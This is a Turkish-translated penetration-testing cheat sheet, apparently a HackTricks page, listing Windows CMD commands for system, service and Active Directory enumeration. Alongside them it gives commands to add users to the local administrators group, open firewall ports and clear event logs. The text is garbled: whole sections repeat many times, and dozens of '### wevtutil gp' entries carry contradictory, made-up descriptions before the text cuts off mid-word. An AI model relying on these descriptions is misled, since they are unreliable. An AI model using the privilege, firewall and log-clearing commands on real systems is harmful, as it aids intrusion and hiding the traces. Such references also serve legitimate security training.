hacktricks/windows-hardening/basic-cmd-for-pentesters.md

2998 lines
78 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# Temel Win CMD Pentesterlar İçin
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahramanlık seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın.**
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
## Sistem bilgisi
2024-02-10 18:14:16 +00:00
### Sürüm ve Yama bilgisi
```bash
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
2022-10-05 00:11:28 +00:00
wmic computersystem LIST full #Get PC info
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
2022-10-05 00:11:28 +00:00
wmic qfe list brief #Updates
hostname
2022-10-05 00:11:28 +00:00
DRIVERQUERY #3rd party driver vulnerable?
```
2024-02-10 18:14:16 +00:00
### Ortam
---
### Basic CMD commands for pentesters
### Pentesterler için Temel CMD Komutları
---
#### System Information
#### Sistem Bilgisi
##### Hostname
##### Ana Bilgisayar Adı
```plaintext
hostname
```
##### IP Address
##### IP Adresi
```plaintext
ipconfig
```
##### Network Interfaces
##### Ağ Arayüzleri
```plaintext
netstat -ano
```
##### Running Processes
##### Çalışan İşlemler
```plaintext
tasklist
```
##### Installed Software
##### Yüklü Yazılımlar
```plaintext
wmic product get name,version
```
---
#### File System
#### Dosya Sistemi
##### List Files and Directories
##### Dosyaları ve Dizinleri Listele
```plaintext
dir
```
##### Change Directory
##### Dizin Değiştir
```plaintext
cd <directory>
```
##### Create Directory
##### Dizin Oluştur
```plaintext
mkdir <directory>
```
##### Delete Directory
##### Dizin Sil
```plaintext
rmdir <directory>
```
##### Copy File
##### Dosya Kopyala
```plaintext
copy <source> <destination>
```
##### Move File
##### Dosya Taşı
```plaintext
move <source> <destination>
```
##### Delete File
##### Dosya Sil
```plaintext
del <file>
```
---
#### User Accounts
#### Kullanıcı Hesapları
##### List Users
##### Kullanıcıları Listele
```plaintext
net user
```
##### Add User
##### Kullanıcı Ekle
```plaintext
net user <username> <password> /add
```
##### Delete User
##### Kullanıcı Sil
```plaintext
net user <username> /delete
```
##### Change User Password
##### Kullanıcı Şifresini Değiştir
```plaintext
net user <username> <new_password>
```
---
#### Network
#### Ağ
##### Ping
##### Ping
```plaintext
ping <ip_address>
```
##### Traceroute
##### Traceroute
```plaintext
tracert <ip_address>
```
##### Port Scan
##### Port Taraması
```plaintext
nmap -p <port> <ip_address>
```
##### Netcat
##### Netcat
```plaintext
nc -v <ip_address> <port>
```
---
#### Services
#### Servisler
##### List Running Services
##### Çalışan Servisleri Listele
```plaintext
net start
```
##### Stop Service
##### Servisi Durdur
```plaintext
net stop <service_name>
```
##### Start Service
##### Servisi Başlat
```plaintext
net start <service_name>
```
##### Restart Service
##### Servisi Yeniden Başlat
```plaintext
net stop <service_name> && net start <service_name>
```
---
#### Registry
#### Kayıt Defteri
##### List Registry Keys
##### Kayıt Defteri Anahtarlarını Listele
```plaintext
reg query HKLM\Software
```
##### Read Registry Key Value
##### Kayıt Defteri Anahtar Değerini Oku
```plaintext
reg query HKLM\Software\Microsoft\Windows\CurrentVersion /v <key_name>
```
##### Modify Registry Key Value
##### Kayıt Defteri Anahtar Değerini Değiştir
```plaintext
reg add HKLM\Software\Microsoft\Windows\CurrentVersion /v <key_name> /t REG_SZ /d <value> /f
```
---
#### Task Scheduler
#### Görev Zamanlayıcısı
##### List Scheduled Tasks
##### Zamanlanmış Görevleri Listele
```plaintext
schtasks /query /fo LIST /v
```
##### Create Scheduled Task
##### Zamanlanmış Görev Oluştur
```plaintext
schtasks /create /tn <task_name> /tr <command> /sc <schedule> /st <start_time> /ru <username> /rp <password>
```
##### Delete Scheduled Task
##### Zamanlanmış Görevi Sil
```plaintext
schtasks /delete /tn <task_name> /f
```
---
#### Event Viewer
#### Olay Görüntüleyici
##### List Event Logs
##### Olay Günlüklerini Listele
```plaintext
wevtutil el
```
##### Read Event Log
##### Olay Günlüğünü Oku
```plaintext
wevtutil qe <log_name>
```
---
#### Firewall
#### Güvenlik Duvarı
##### List Firewall Rules
##### Güvenlik Duvarı Kurallarını Listele
```plaintext
netsh advfirewall firewall show rule name=all
```
##### Add Firewall Rule
##### Güvenlik Duvarı Kuralı Ekle
```plaintext
netsh advfirewall firewall add rule name=<rule_name> dir=in action=allow protocol=<protocol> localport=<port>
```
##### Delete Firewall Rule
##### Güvenlik Duvarı Kuralını Sil
```plaintext
netsh advfirewall firewall delete rule name=<rule_name>
```
---
#### System Services
#### Sistem Servisleri
##### List Running Services
##### Çalışan Servisleri Listele
```plaintext
sc query state=running
```
##### Stop Service
##### Servisi Durdur
```plaintext
sc stop <service_name>
```
##### Start Service
##### Servisi Başlat
```plaintext
sc start <service_name>
```
##### Restart Service
##### Servisi Yeniden Başlat
```plaintext
sc stop <service_name> && sc start <service_name>
```
---
#### Task Manager
#### Görev Yöneticisi
##### List Running Processes
##### Çalışan İşlemleri Listele
```plaintext
tasklist
```
##### Kill Process
##### İşlemi Sonlandır
```plaintext
taskkill /F /PID <process_id>
```
---
#### System Configuration
#### Sistem Yapılandırması
##### List Startup Programs
##### Başlangıç Programlarını Listele
```plaintext
wmic startup get caption,command
```
##### Disable Startup Program
##### Başlangıç Programını Devre Dışı Bırak
```plaintext
wmic startup where caption="<program_name>" call delete
```
---
#### System Accounts
#### Sistem Hesapları
##### List Local Administrators
##### Yerel Yöneticileri Listele
```plaintext
net localgroup administrators
```
##### Add User to Local Administrators
##### Kullanıcıyı Yerel Yöneticilere Ekle
```plaintext
net localgroup administrators <username> /add
```
##### Remove User from Local Administrators
##### Kullanıcıyı Yerel Yöneticilerden Kaldır
```plaintext
net localgroup administrators <username> /delete
```
---
#### System Logs
#### Sistem Günlükleri
##### List Windows Event Logs
##### Windows Olay Günlüklerini Listele
```plaintext
wevtutil el
```
##### Read Windows Event Log
##### Windows Olay Günlüğünü Oku
```plaintext
wevtutil qe <log_name>
```
---
#### System Processes
#### Sistem İşlemleri
##### List Running Processes
##### Çalışan İşlemleri Listele
```plaintext
tasklist
```
##### Kill Process
##### İşlemi Sonlandır
```plaintext
taskkill /F /PID <process_id>
```
---
#### System Drivers
#### Sistem Sürücüleri
##### List Installed Drivers
##### Yüklü Sürücüleri Listele
```plaintext
driverquery
```
##### Disable Driver
##### Sürücüyü Devre Dışı Bırak
```plaintext
sc config <driver_name> start=disabled
```
##### Enable Driver
##### Sürücüyü Etkinleştir
```plaintext
sc config <driver_name> start=demand
```
---
#### System Startup
#### Sistem Başlangıcı
##### List Startup Programs
##### Başlangıç Programlarını Listele
```plaintext
wmic startup get caption,command
```
##### Disable Startup Program
##### Başlangıç Programını Devre Dışı Bırak
```plaintext
wmic startup where caption="<program_name>" call delete
```
##### Enable Startup Program
##### Başlangıç Programını Etkinleştir
```plaintext
wmic startup where caption="<program_name>" call create
```
---
#### System Services
#### Sistem Servisleri
##### List Running Services
##### Çalışan Servisleri Listele
```plaintext
sc query state=running
```
##### Stop Service
##### Servisi Durdur
```plaintext
sc stop <service_name>
```
##### Start Service
##### Servisi Başlat
```plaintext
sc start <service_name>
```
##### Restart Service
##### Servisi Yeniden Başlat
```plaintext
sc stop <service_name> && sc start <service_name>
```
---
#### System Registry
#### Sistem Kayıt Defteri
##### List Registry Keys
##### Kayıt Defteri Anahtarlarını Listele
```plaintext
reg query HKLM\Software
```
##### Read Registry Key Value
##### Kayıt Defteri Anahtar Değerini Oku
```plaintext
reg query HKLM\Software\Microsoft\Windows\CurrentVersion /v <key_name>
```
##### Modify Registry Key Value
##### Kayıt Defteri Anahtar Değerini Değiştir
```plaintext
reg add HKLM\Software\Microsoft\Windows\CurrentVersion /v <key_name> /t REG_SZ /d <value> /f
```
---
#### System Network
#### Sistem Ağı
##### List Network Interfaces
##### Ağ Arayüzlerini Listele
```plaintext
netsh interface show interface
```
##### Disable Network Interface
##### Ağ Arayüzünü Devre Dışı Bırak
```plaintext
netsh interface set interface "<interface_name>" admin=disable
```
##### Enable Network Interface
##### Ağ Arayüzünü Etkinleştir
```plaintext
netsh interface set interface "<interface_name>" admin=enable
```
---
#### System Firewall
#### Sistem Güvenlik Duvarı
##### List Firewall Rules
##### Güvenlik Duvarı Kurallarını Listele
```plaintext
netsh advfirewall firewall show rule name=all
```
##### Add Firewall Rule
##### Güvenlik Duvarı Kuralı Ekle
```plaintext
netsh advfirewall firewall add rule name=<rule_name> dir=in action=allow protocol=<protocol> localport=<port>
```
##### Delete Firewall Rule
##### Güvenlik Duvarı Kuralını Sil
```plaintext
netsh advfirewall firewall delete rule name=<rule_name>
```
---
#### System Accounts
#### Sistem Hesapları
##### List Local Administrators
##### Yerel Yöneticileri Listele
```plaintext
net localgroup administrators
```
##### Add User to Local Administrators
##### Kullanıcıyı Yerel Yöneticilere Ekle
```plaintext
net localgroup administrators <username> /add
```
##### Remove User from Local Administrators
##### Kullanıcıyı Yerel Yöneticilerden Kaldır
```plaintext
net localgroup administrators <username> /delete
```
---
#### System Files
#### Sistem Dosyaları
##### List Files and Directories
##### Dosyaları ve Dizinleri Listele
```plaintext
dir
```
##### Change Directory
##### Dizin Değiştir
```plaintext
cd <directory>
```
##### Create Directory
##### Dizin Oluştur
```plaintext
mkdir <directory>
```
##### Delete Directory
##### Dizin Sil
```plaintext
rmdir <directory>
```
##### Copy File
##### Dosya Kopyala
```plaintext
copy <source> <destination>
```
##### Move File
##### Dosya Taşı
```plaintext
move <source> <destination>
```
##### Delete File
##### Dosya Sil
```plaintext
del <file>
```
---
#### System Processes
#### Sistem İşlemleri
##### List Running Processes
##### Çalışan İşlemleri Listele
```plaintext
tasklist
```
##### Kill Process
##### İşlemi Sonlandır
```plaintext
taskkill /F /PID <process_id>
```
---
#### System Drivers
#### Sistem Sürücüleri
##### List Installed Drivers
##### Yüklü Sürücüleri Listele
```plaintext
driverquery
```
##### Disable Driver
##### Sürücüyü Devre Dışı Bırak
```plaintext
sc config <driver_name> start=disabled
```
##### Enable Driver
##### Sürücüyü Etkinleştir
```plaintext
sc config <driver_name> start=demand
```
---
#### System Services
#### Sistem Servisleri
##### List Running Services
##### Çalışan Servisleri Listele
```plaintext
sc query state=running
```
##### Stop Service
##### Servisi Durdur
```plaintext
sc stop <service_name>
```
##### Start Service
##### Servisi Başlat
```plaintext
sc start <service_name>
```
##### Restart Service
##### Servisi Yeniden Başlat
```plaintext
sc stop <service_name> && sc start <service_name>
```
---
#### System Configuration
#### Sistem Yapılandırması
##### List Startup Programs
##### Başlangıç Programlarını Listele
```plaintext
wmic startup get caption,command
```
##### Disable Startup Program
##### Başlangıç Programını Devre Dışı Bırak
```plaintext
wmic startup where caption="<program_name>" call delete
```
---
#### System Logs
#### Sistem Günlükleri
##### List Windows Event Logs
##### Windows Olay Günlüklerini Listele
```plaintext
wevtutil el
```
##### Read Windows Event Log
##### Windows Olay Günlüğünü Oku
```plaintext
wevtutil qe <log_name>
```
---
#### System Accounts
#### Sistem Hesapları
##### List Local Administrators
##### Yerel Yöneticileri Listele
```plaintext
net localgroup administrators
```
##### Add User to Local Administrators
##### Kullanıcıyı Yerel Yöneticilere Ekle
```plaintext
net localgroup administrators <username> /add
```
##### Remove User from Local Administrators
##### Kullanıcıyı Yerel Yöneticilerden Kaldır
```plaintext
net localgroup administrators <username> /delete
```
---
#### System Files
#### Sistem Dosyaları
##### List Files and Directories
##### Dosyaları ve Dizinleri Listele
```plaintext
dir
```
##### Change Directory
##### Dizin Değiştir
```plaintext
cd <directory>
```
##### Create Directory
##### Dizin Oluştur
```plaintext
mkdir <directory>
```
##### Delete Directory
##### Dizin Sil
```plaintext
rmdir <directory>
```
##### Copy File
##### Dosya Kopyala
```plaintext
copy <source> <destination>
```
##### Move File
##### Dosya Taşı
```plaintext
move <source> <destination>
```
##### Delete File
##### Dosya Sil
```plaintext
del <file>
```
```bash
set #List all environment variables
```
Vurgulanması gereken bazı çevre değişkenleri:
* **COMPUTERNAME**: Bilgisayarın adı
* **TEMP/TMP:** Geçici klasör
* **USERNAME:** Kullanıcı adınız
* **HOMEPATH/USERPROFILE:** Ana dizin
* **windir:** C:\Windows
* **OS**: Windows İşletim Sistemi
* **LOGONSERVER**: Alan denetleyicisinin adı
* **USERDNSDOMAIN**: DNS ile kullanılacak alan adı
* **USERDOMAIN**: Alanın adı
```bash
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```
### Bağlı Diskler
Mounted disks are additional storage devices that are connected to a computer system and made accessible for use. These disks can be physical devices such as hard drives or solid-state drives, or they can be virtual disks created within a virtual machine environment.
Bağlı diskler, bir bilgisayar sistemiyle bağlantı kurulan ve kullanıma açılan ek depolama cihazlarıdır. Bu diskler, sabit diskler veya katı hal sürücüleri gibi fiziksel cihazlar olabilir veya sanal bir makine ortamında oluşturulan sanal diskler olabilir.
```bash
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
```
### [Defender](authentication-credentials-uac-and-efs.md#defender)
### Geri Dönüşüm Kutusu
```bash
dir C:\$Recycle.Bin /s /b
```
### İşlemler, Hizmetler ve Yazılımlar
#### İşlemler (Processes)
Windows işletim sisteminde çalışan işlemleri listelemek için aşağıdaki komutları kullanabilirsiniz:
```plaintext
tasklist
```
Belirli bir işlemi sonlandırmak için ise aşağıdaki komutu kullanabilirsiniz:
```plaintext
taskkill /IM <process_name>
```
#### Hizmetler (Services)
Windows hizmetlerini yönetmek için aşağıdaki komutları kullanabilirsiniz:
```plaintext
sc query
```
Belirli bir hizmeti başlatmak veya durdurmak için ise aşağıdaki komutları kullanabilirsiniz:
```plaintext
sc start <service_name>
sc stop <service_name>
```
#### Yazılımlar (Software)
Windows işletim sisteminde yüklü olan yazılımları listelemek için aşağıdaki komutu kullanabilirsiniz:
```plaintext
wmic product get name,version
```
Bu komut, yüklü olan yazılımların adını ve sürümünü listeleyecektir.
```bash
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
```
## Alan Adı Bilgisi
### `whoami`
Bu komut, mevcut kullanıcı hakkında bilgi sağlar.
### `hostname`
Bu komut, bilgisayarın adını veya alan adını gösterir.
### `ipconfig /all`
Bu komut, ağ bağlantılarının ayrıntılı bilgilerini gösterir.
### `net user`
Bu komut, mevcut kullanıcı hesaplarının listesini gösterir.
### `net group`
Bu komut, mevcut grup hesaplarının listesini gösterir.
### `net localgroup`
Bu komut, mevcut yerel grup hesaplarının listesini gösterir.
### `net view`
Bu komut, ağdaki kaynakların listesini gösterir.
### `net share`
Bu komut, paylaşılan kaynakların listesini gösterir.
### `netstat -ano`
Bu komut, ağ bağlantılarının ve portların durumunu gösterir.
### `route print`
Bu komut, ağ yönlendirme tablosunu gösterir.
### `arp -a`
Bu komut, ARP önbelleğini gösterir.
### `nslookup`
Bu komut, DNS sorgularını gerçekleştirir.
### `systeminfo`
Bu komut, sistem hakkında ayrıntılı bilgiler sağlar.
### `tasklist`
Bu komut, çalışan işlemlerin listesini gösterir.
### `taskkill`
Bu komut, belirli bir işlemi sonlandırır.
### `schtasks /query`
Bu komut, zamanlanmış görevlerin listesini gösterir.
### `schtasks /delete`
Bu komut, belirli bir zamanlanmış görevi siler.
### `reg query`
Bu komut, kayıt defteri anahtarlarını ve değerlerini gösterir.
### `reg add`
Bu komut, kayıt defterine yeni bir anahtar veya değer ekler.
### `reg delete`
Bu komut, kayıt defterinden bir anahtar veya değeri siler.
### `reg load`
Bu komut, kayıt defterinden bir yedekleme dosyasını yükler.
### `reg unload`
Bu komut, kayıt defterinden bir yedekleme dosyasını kaldırır.
### `reg save`
Bu komut, kayıt defterini bir yedekleme dosyasına kaydeder.
### `reg restore`
Bu komut, kayıt defterini bir yedekleme dosyasından geri yükler.
### `wevtutil qe`
Bu komut, olay günlüklerini sorgular.
### `wevtutil cl`
Bu komut, belirli bir olay günlüğünü temizler.
### `wevtutil el`
Bu komut, mevcut olay günlüklerinin listesini gösterir.
### `wevtutil gli`
Bu komut, belirli bir olay günlüğünün ayrıntılarını gösterir.
### `wevtutil sl`
Bu komut, olay günlüğü aboneliklerini listeler.
### `wevtutil im`
Bu komut, olay günlüğü aboneliklerini içe aktarır.
### `wevtutil um`
Bu komut, olay günlüğü aboneliklerini kaldırır.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından alır.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından kaldırır.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar.
### `wevtutil gp`
Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler.
### `wevtutil gp`
Bu komut, olay günlüğ
```bash
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
# Trust relations
nltest /domain_trusts #Mapping of the trust relationships
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```
### Günlükler ve Olaylar
Windows işletim sistemi, çeşitli günlükler ve olaylar aracılığıyla sistem aktivitelerini kaydeder. Bu günlükler ve olaylar, bir pentester için değerli bilgiler sağlayabilir ve hedef sistemin zayıf noktalarını belirlemeye yardımcı olabilir.
#### Windows Günlükleri
Windows işletim sistemi, çeşitli günlükleri kullanarak sistem aktivitelerini kaydeder. Bu günlükler, olayların türüne ve önemine bağlı olarak farklı kategorilere ayrılır. İşte bazı yaygın Windows günlükleri:
- **Uygulama Günlüğü**: Uygulamaların çalışmasıyla ilgili bilgileri kaydeder.
- **Güvenlik Günlüğü**: Güvenlik olaylarını kaydeder, örneğin başarısız oturum açma denemeleri veya yetkisiz erişim girişimleri.
- **Sistem Günlüğü**: Sistemle ilgili önemli olayları kaydeder, örneğin sistem hataları veya donanım sorunları.
- **DNS Günlüğü**: DNS sorgularını ve yanıtlarını kaydeder.
- **Günlük Hizmeti**: Diğer günlükleri toplar ve yönetir.
#### Olay Görüntüleyici
Windows işletim sistemi, Olay Görüntüleyici adlı bir araç sağlar. Olay Görüntüleyici, sistem günlüklerini görüntülemek ve analiz etmek için kullanılır. Aşağıda, Olay Görüntüleyici'nin kullanımıyla ilgili bazı temel komutlar bulunmaktadır:
- **eventvwr**: Olay Görüntüleyici'yi açar.
- **eventvwr.msc /s**: Uzak bir bilgisayardaki Olay Görüntüleyici'yi açar.
- **eventvwr.msc /c**: Olay Görüntüleyici'yi yönetici olarak açar.
#### Olay İzleme
